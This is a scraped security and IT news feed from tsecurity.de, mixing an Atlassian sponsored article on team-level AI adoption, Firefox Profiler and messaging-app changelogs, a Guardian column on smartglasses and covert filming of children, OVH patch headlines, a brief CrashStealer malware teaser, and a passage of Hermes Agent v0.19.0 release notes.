    Date Revision Summary
    2026-07-14 1 Publication Date
    2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]> https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/ https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/ Tue, 21 Jul 2026 19:06:29 +0200 📰 IT Nachrichten tsecurity.de Presented by Atlassian

    Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.

    Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

    "We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.

    Why AI speed isn’t translating into ROI

    Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.

    "89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

    But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

    Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.

    On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it.

    On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

    How leaders can move AI from individual hack to team advantage

    Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.

    "Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

    Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.

    To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.

    The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.

    Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

    ]]>         <![CDATA[v 7.0.4]]> https://tsecurity.de/de/3684151/downloads/v-704/ https://tsecurity.de/de/3684151/downloads/v-704/ Tue, 21 Jul 2026 17:20:10 +0200 đŸ’Ÿ Downloads tsecurity.de
  • Enable rich text editor for scheduled messages and quick replies.
  • Upload rich message photos in high quality.
  • Fix crash in some video files viewer.
  • Fix crash in shared files section.
    • ]]>         <![CDATA[Firefox Tooling Announcements: Firefox Profiler Deployment (July 21, 2026)]]> https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/ https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/ Tue, 21 Jul 2026 16:11:42 +0200 đŸ’Ÿ Tools tsecurity.de The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:

    Highlights:

    • [fatadel] Show counter values over time in profiler-cli (#6136)
    • [Markus Stange] More typed arrays: sample + counter times, some frametable columns (#6139)
    • [Nazım Can Altınova] Add marker handles to profiler-cli thread network (#6172)
    • [Nazım Can Altınova] Surface network activity across profiler-cli (#6175)
    • [Nazım Can Altınova] Add profile meta command to profiler-cli (#6177)
    • [Markus Stange] Allow raw marker table’s startTime and endTime columns to be Float64Array (#6169)

    Other Changes:

    • [Sky Ning] Skip preview links for non-main PRs (#6161)
    • [spokodev] fix(gecko-upgrade): don’t crash on a counter with empty sample_groups (#6160)
    • [Markus Stange] Make profile-conversion snapshots more compact and meaningful (#6152)
    • [Nazım Can Altınova] Only render a marker url field as a link when the whole value is a URL (#6163)
    • [fatadel] Show each counter’s owning process in profiler-cli (#6164)
    • [Nazım Can Altınova] Document the pre-existing thread info and network JSON schemas in the cli (#6171)
    • [Markus Stange] Copy column contents in getRawSamplesTableBuilderFromExisting for consistency (#6168)
    • [Markus Stange] Convert eligible columns to typed arrays when outputting from profiler-edit (#6167)
    • [Markus Stange] Remove unused samples.thread column (#6151)
    • [Markus Stange] Fixed botched merge which broke ‘yarn ts’ (#6174)
    • [Markus Stange] Update json-slabs 0.3.0 → 0.4.0 (major) (#6176)
    • [nightcityblade] Fix light theme text selection colors (#6186)
    • [Nazım Can Altınova] Import source map URLs from Chrome DevTools traces (#6190)
    • [Nazım Can Altınova] Rename yarn build-profiler-cli script to build-cli (#6191)
    • [Nazım Can Altınova] Migrate husky to version 9 (#6201)
    • [Nazım Can Altınova] Fix horizontal overflow when the transform navigator is long (#6199)
    • [fatadel] Add a ‘hexadecimal’ marker schema field format (#6197)
    • [Nazım Can Altınova] Bump source-map to 0.8.0 and remove the old type workaround (#6202)
    • [Nazım Can Altınova] :clockwise_vertical_arrows: Sync: l10n → main (July 21, 2026) (#6209)

    Big thanks to our amazing localizers for making this release possible:

    • fr: parmegiani.thomas
    • fr: ThĂ©o Chevalier
    • sr: МарĐșĐŸ ĐšĐŸŃŃ‚ĐžŃ› (Marko Kostić)
    • sv-SE: Luna Jernberg
    • tr: Grk
    • zh-CN: Ariel
    • zh-CN: Olvcpr423

    Find out more about the Firefox Profiler on profiler.firefox.com! If you have any questions, join the discussion on our Matrix channel!

    1 post - 1 participant

    Read full topic

    ]]>         <![CDATA[The First AI Leaders Graduates]]> https://tsecurity.de/de/3683929/it-security-nachrichten/the-first-ai-leaders-graduates/ https://tsecurity.de/de/3683929/it-security-nachrichten/the-first-ai-leaders-graduates/ Tue, 21 Jul 2026 15:52:57 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Atlassian: Why AI speeds up employees but not organizations]]> https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/ https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/ Tue, 21 Jul 2026 14:33:25 +0200 📰 IT Nachrichten tsecurity.de Presented by Atlassian

    Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.

    Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

    "We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.

    Why AI speed isn’t translating into ROI

    Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.

    "89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

    But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

    Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.

    On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it.

    On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

    How leaders can move AI from individual hack to team advantage

    Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.

    "Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

    Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.

    To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.

    The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.

    Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

    ]]>         <![CDATA[5 Free Courses to Go From AI Beginner to Practitioner]]> https://tsecurity.de/de/3683613/ai-nachrichten/5-free-courses-to-go-from-ai-beginner-to-practitioner/ https://tsecurity.de/de/3683613/ai-nachrichten/5-free-courses-to-go-from-ai-beginner-to-practitioner/ Tue, 21 Jul 2026 14:05:11 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Crash mit Teslas Robotaxi: Teleoperator steuert Model Y gegen Baumstumpf]]> https://tsecurity.de/de/3683262/it-nachrichten/crash-mit-teslas-robotaxi-teleoperator-steuert-model-y-gegen-baumstumpf/ https://tsecurity.de/de/3683262/it-nachrichten/crash-mit-teslas-robotaxi-teleoperator-steuert-model-y-gegen-baumstumpf/ Tue, 21 Jul 2026 11:49:55 +0200 📰 IT Nachrichten tsecurity.de weiterlesen auf t3n.de]]> <![CDATA[Xiaomi-Robotics-1 shows that more data beats bigger models when training robots to move]]> https://tsecurity.de/de/3683123/ai-nachrichten/xiaomi-robotics-1-shows-that-more-data-beats-bigger-models-when-training-robots-to-move/ https://tsecurity.de/de/3683123/ai-nachrichten/xiaomi-robotics-1-shows-that-more-data-beats-bigger-models-when-training-robots-to-move/ Tue, 21 Jul 2026 11:05:14 +0200 🔧 AI Nachrichten tsecurity.de A white mobile manipulator from Xiaomi Robotics uses two robotic arms to pack clothes into an open hard-shell suitcase in a living room.

    Xiaomi trained Xiaomi-Robotics-1 on more than 100,000 hours of motion data collected by people using camera-equipped handheld grippers rather than robots. Adding data improved performance far more than increasing model size. The gains haven't plateaued, though absolute success rates remain low.

    The article Xiaomi-Robotics-1 shows that more data beats bigger models when training robots to move appeared first on The Decoder.

    ]]>         <![CDATA[Meta’s smartglasses mean any child can be covertly filmed. In the age of AI, how do we tackle that risk?]]> https://tsecurity.de/de/3683034/it-nachrichten/metas-smartglasses-mean-any-child-can-be-covertly-filmed-in-the-age-of-ai-how-do-we-tackle-that-risk/ https://tsecurity.de/de/3683034/it-nachrichten/metas-smartglasses-mean-any-child-can-be-covertly-filmed-in-the-age-of-ai-how-do-we-tackle-that-risk/ Tue, 21 Jul 2026 10:33:24 +0200 📰 IT Nachrichten tsecurity.de The company argues that it’s for individuals to ensure they don’t ‘actively exploit’ this technology. That won’t keep children safe

    It took me a while to realise what the man sitting next to me on the train was doing. He was flicking through pictures of a little girl on his phone; zooming in on some, cropping the images. Hardly unusual, of course, except that on closer inspection the pictures were very clearly of the toddler sitting opposite us, playing with her parents. On a crowded train of people mostly staring obliviously at our own phones, a stranger had been covertly photographing that little girl over and over again. And if it hadn’t been for that very visible phone screen giving him away, he wouldn’t have been caught.

    That encounter was a while ago but my memory was jogged last week listening to a clip of Meta’s VP of wearables, Alex Himel, talk fondly to the BBC about using his new smartglasses to film his daughter singing in a talent contest. They let him capture the memory without having to watch her through a screen, he said, freeing him to be “kind of living in the moment, head up and hands free”. So far, so sweet. But what about the risk of creeps potentially using them to film other people’s daughters covertly, heads up and hands free? Meta’s smartglasses have a tiny flashing warning light on the frame to indicate when the wearer is recording, but the technology is still new enough that many people don’t think to look for it. And in the age of AI, stolen images of children matter. Taken in real life or scraped from the internet, they’re the raw material for generating realistic-looking child abuse material of the most extreme and disturbing kind. (If that sounds like a grim but ultimately fairly victimless crime, the Internet Watch Foundation warned in a recent report that AI-generated material risks fuelling sexual interest in children, normalising violence and increasing the risk of real-life offending.)

    Gaby Hinsliff is a Guardian columnist

    Do you have an opinion on the issues raised in this article? If you would like to submit a response of up to 300 words by email to be considered for publication in our letters section, please click here.

    Continue reading...]]>         <![CDATA[Weekly Update 513: Clauding The Home Network]]> https://tsecurity.de/de/3682929/it-security-nachrichten/weekly-update-513-clauding-the-home-network/ https://tsecurity.de/de/3682929/it-security-nachrichten/weekly-update-513-clauding-the-home-network/ Tue, 21 Jul 2026 09:38:06 +0200 📰 IT Security Nachrichten tsecurity.de I reckon this week's video on how Claude is tying together info from UniFi, Home Assistant and the Pi-Hole is an absolute ripper. Or at least the concept is - if ever there was an actual value proposition for AI it's taking lots of noise and

    ]]>         <![CDATA[OVH reveals semi-secret plan to fix critical Januscape hypervisor bug with mass reboots – and an Australian crash-test dummy]]> https://tsecurity.de/de/3682881/it-security-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-hypervisor-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ https://tsecurity.de/de/3682881/it-security-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-hypervisor-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ Tue, 21 Jul 2026 09:07:51 +0200 📰 IT Security Nachrichten tsecurity.de French cloud backported a patch into Debian and didn’t seek customer consent, despite chance of downtime This article has been indexed from www.theregister.com – Articles Read the original article: OVH reveals semi-secret plan to fix critical Januscape hypervisor bug with


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    The post OVH reveals semi-secret plan to fix critical Januscape hypervisor bug with mass reboots – and an Australian crash-test dummy appeared first on IT Security News.

    ]]>         <![CDATA[OVH reveals semi-secret plan to fix critical Januscape hypervisor bug with mass reboots – and an Australian crash-test dummy]]> https://tsecurity.de/de/3682837/it-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-hypervisor-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ https://tsecurity.de/de/3682837/it-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-hypervisor-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ Tue, 21 Jul 2026 08:33:10 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[OVH reveals semi-secret plan to fix critical Januscape bug with mass reboots – and an Australian crash-test dummy]]> https://tsecurity.de/de/3682639/it-security-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ https://tsecurity.de/de/3682639/it-security-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ Tue, 21 Jul 2026 06:24:40 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[OVH reveals semi-secret plan to fix critical Januscape bug with mass reboots – and an Australian crash-test dummy]]> https://tsecurity.de/de/3682632/it-security-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ https://tsecurity.de/de/3682632/it-security-nachrichten/ovh-reveals-semi-secret-plan-to-fix-critical-januscape-bug-with-mass-reboots-and-an-australian-crash-test-dummy/ Tue, 21 Jul 2026 06:24:30 +0200 📰 IT Security Nachrichten tsecurity.de French cloud backported a patch into Debian and didn’t seek customer consent, despite chance of downtime This article has been indexed from www.theregister.com – Articles Read the original article: OVH reveals semi-secret plan to fix critical Januscape bug with mass


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    The post OVH reveals semi-secret plan to fix critical Januscape bug with mass reboots – and an Australian crash-test dummy appeared first on IT Security News.

    ]]>         <![CDATA[Merch Scams]]> https://tsecurity.de/de/3682260/malware-trojaner-viren/merch-scams/ https://tsecurity.de/de/3682260/malware-trojaner-viren/merch-scams/ Tue, 21 Jul 2026 00:02:32 +0200 ⚠ Malware / Trojaner / Viren tsecurity.de Author: Avast - Bewertung: 0x - Views:35

    Used to each cycle moving at the speed of hype? Don’t crash and burn đŸšČ

    ]]>         <![CDATA[USN-8573-1: libde265 vulnerabilities]]> https://tsecurity.de/de/3682255/unix-server/usn-8573-1-libde265-vulnerabilities/ https://tsecurity.de/de/3682255/unix-server/usn-8573-1-libde265-vulnerabilities/ Tue, 21 Jul 2026 00:01:20 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8563-2: nginx regression]]> https://tsecurity.de/de/3682254/unix-server/usn-8563-2-nginx-regression/ https://tsecurity.de/de/3682254/unix-server/usn-8563-2-nginx-regression/ Tue, 21 Jul 2026 00:01:04 +0200 🐧 Unix Server tsecurity.de <![CDATA[CrashStealer Malware Uses Fake Mac Crash Reports to Steal Passwords]]> https://tsecurity.de/de/3682191/ios-mac-os/crashstealer-malware-uses-fake-mac-crash-reports-to-steal-passwords/ https://tsecurity.de/de/3682191/ios-mac-os/crashstealer-malware-uses-fake-mac-crash-reports-to-steal-passwords/ Mon, 20 Jul 2026 23:11:02 +0200 🍏 iOS / Mac OS tsecurity.de CrashStealer uses a fake Apple crash report and password prompt to steal sensitive data from Mac users. Learn how it works and how to protect your Mac.

    The post CrashStealer Malware Uses Fake Mac Crash Reports to Steal Passwords appeared first on SecureMac.

    ]]>         <![CDATA[SpaceX-Crash: Starinvestor erwartet, dass die Aktie kollabiert]]> https://tsecurity.de/de/3682048/it-nachrichten/spacex-crash-starinvestor-erwartet-dass-die-aktie-kollabiert/ https://tsecurity.de/de/3682048/it-nachrichten/spacex-crash-starinvestor-erwartet-dass-die-aktie-kollabiert/ Mon, 20 Jul 2026 21:31:30 +0200 📰 IT Nachrichten tsecurity.de weiterlesen auf t3n.de]]> <![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]> https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ Mon, 20 Jul 2026 20:46:40 +0200 đŸ’Ÿ Downloads tsecurity.de Hermes Agent v0.19.0 (v2026.7.20)

    Release Date: July 20, 2026
    Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

    The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

    ✹ Highlights

    • Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

    • The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

    • Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

    • Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

    • Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

    • Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

    • A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

    • One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

    • New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

    • Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

    • Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

    • Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

    ⚡ Performance — the speed spine

    First-turn latency (all platforms)

    • ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
    • Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
    • Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

    Desktop speed wave

    • 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
    • Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
    • Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
    • Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

    Everywhere else

    • TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
    • Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
    • Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
    • hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
    • Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

    đŸ—ïž Core Agent & Architecture

    Providers & models

    • Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
    • DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
    • GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
    • grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
    • Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
    • GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
    • Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
    • Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
    • Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
    • kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
    • Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

    Reasoning & MoA

    • max + ultra effort levels across every surface and route (#62650 — @teknium1)
    • Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
    • MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

    Delegation, approvals & the agent loop

    • Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
    • Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
    • Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
    • Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
    • Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
    • Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

    Secrets & config

